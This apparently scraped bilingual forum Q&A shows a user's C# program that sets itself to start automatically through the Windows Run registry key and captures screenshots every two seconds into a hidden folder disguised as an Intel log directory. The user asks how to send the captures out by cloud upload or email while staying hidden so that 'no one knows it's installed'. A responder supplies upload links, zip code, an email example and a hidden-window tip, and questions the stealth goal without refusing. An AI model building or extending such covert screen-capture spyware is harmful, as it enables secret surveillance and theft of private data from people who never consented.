我将如何在我的代码/程序中实现这一点? [英] How would I go about implementing this in my code/program?

查看:47
本文介绍了我将如何在我的代码/程序中实现这一点?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

你好。我目前有这个代码,每2秒截取一次屏幕截图并将其保存到隐藏文件夹中。我想为我的程序实现一种方法,然后将这些文件上传到云端。或者也许它可以经常将文件放在一个zip文件夹
中,然后在电子邮件中发送该文件夹并重复,但我不知道它会有多好用。

Hi there. I have this code currently that takes screenshots every 2 seconds and saves them to a hidden folder. I would like to implement a way for my program to then take these files and upload them to a cloud. Or maybe it can put the files in a zip folder every so often then send that folder in an email and repeat, but I don't know how well that would work.

总的来说,虽然我需要它,以便程序继续以隐藏模式运行,以便没有人知道它已安装在计算机上。有没有办法做到这一点?如果是这样,有人可以帮助我并向我解释如何这样做吗?非常感谢你们!

Overall though I need it so that the program continues to run in stealth mode so that no one knows it's installed on the computer. Is there a way to do this? If so, could someone please help me and explain to me how to do so? Thank you all so much!

这是我到目前为止的代码:

Here is my code so far:

using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Drawing;

namespace chrome
{
    static class Program
    {
        static void Main()
        {
            //-----this code will make your program to automatically execute as computer starts----
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch (Exception e)
            {
                Console.WriteLine("show1:" + e.Message);
            }
            //------------------

            //------------screenshot  loop takes screenshots after 1 min-----------
            int n = 0;
            while (n == 0)
            {
                try
                {

                    OnTimedEvent();
                    Thread.Sleep(2000);
                }
                catch (Exception e)
                {
                    Console.WriteLine("show2:" + e.Message);
                }
                //-------------------------

            }
        }// main body ends !

        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1366, 768);
            Size s = new Size(memoryImage.Width, memoryImage.Height);

            // Create graphics
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            // Copy data from screen
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";

            //------------creating directory--------
            if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
                File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);

            //------------

            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }
        }
    }
}

        //---------------------------------------------------------

推荐答案

嗨ReiSixx9,

Hi ReiSixx9,

感谢您在此发帖。

>> 我想为我的程序实现一种方法,然后将这些文件上传到云端。  

您的问题是什么云要上传?

For your question what cloud you want to upload?

OneDrive?如果要将文件上载到OneDrive,可以使用OneDrive SDK for CSharp。以下是GitHub的链接供您参考。

OneDrive? If you want to upload the files to OneDrive, you could use OneDrive SDK for CSharp. Here is the link of GitHub for your reference.

https://github.com / onedrive / onedrive-sdk-csharp

Google云端硬盘?如果您要将文件上传到Google云端硬盘,则需要使用Google Drive API。请检查以下链接。

Google Drive? If you want to upload files to google drive, you would like to use Google Drive API. Please check the following link.

https://developers.google .com / drive / v3 / web / manage-uploads

>>  或者它可以将文件放在zip文件夹中每隔一段时间,然后在电子邮件中发送该文件夹并重复,
但我不知道它会有多好用。

如果你想把文件放在一个zip文件夹中,你可以参考下面的代码。

If you want to put the files in a zip folder, you could refer to the following code.

     using (ZipFile zip = new ZipFile())
     {            
         string[] filesPath = Directory.GetFiles(@"C:\Users\Desktop\CSharp");
         zip.AddFiles(filesPath);
         zip.Save("Archive.zip");//save a .zip file into project directory          
     }

为什么你通过邮件发送zip文件?如果要使用.zip文件发送邮件,可以从代码项目下载源文件以供参考。

Why you send the zip file by mail? If you want to send the mail with .zip file, you could download the source file from code project for reference.

https://www.codeproject.com/Tips/520998/Send-Email-from-Yahoo-GMail-Hotmail-Csharp

>> 总体而言我需要它以便程序继续运行在隐形
模式下,没有人知道它安装在计算机上。有没有办法做到这一点? 

这是什么意思?运行.exe时,是否要隐藏窗口?你是如何运行该程序的?也许你可以将ProcessWindowsStyle设置为隐藏。请检查以下链接。

What does this mean? When you run the .exe, you want to make the window hidden? How do you run the program? Maybe you could set the ProcessWindowsStyle to hidden. Please check the following link.

https://msdn.microsoft.com/en-us/library/system.diagnostics.processwindowstyle(v = vs.110).aspx

什么你是男人,没有人知道它安装在电脑上吗?

What do you men that no one knows it is installed on the computer?

更多细节会有所帮助。

最好的问候,

Wendy


这篇关于我将如何在我的代码/程序中实现这一点?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆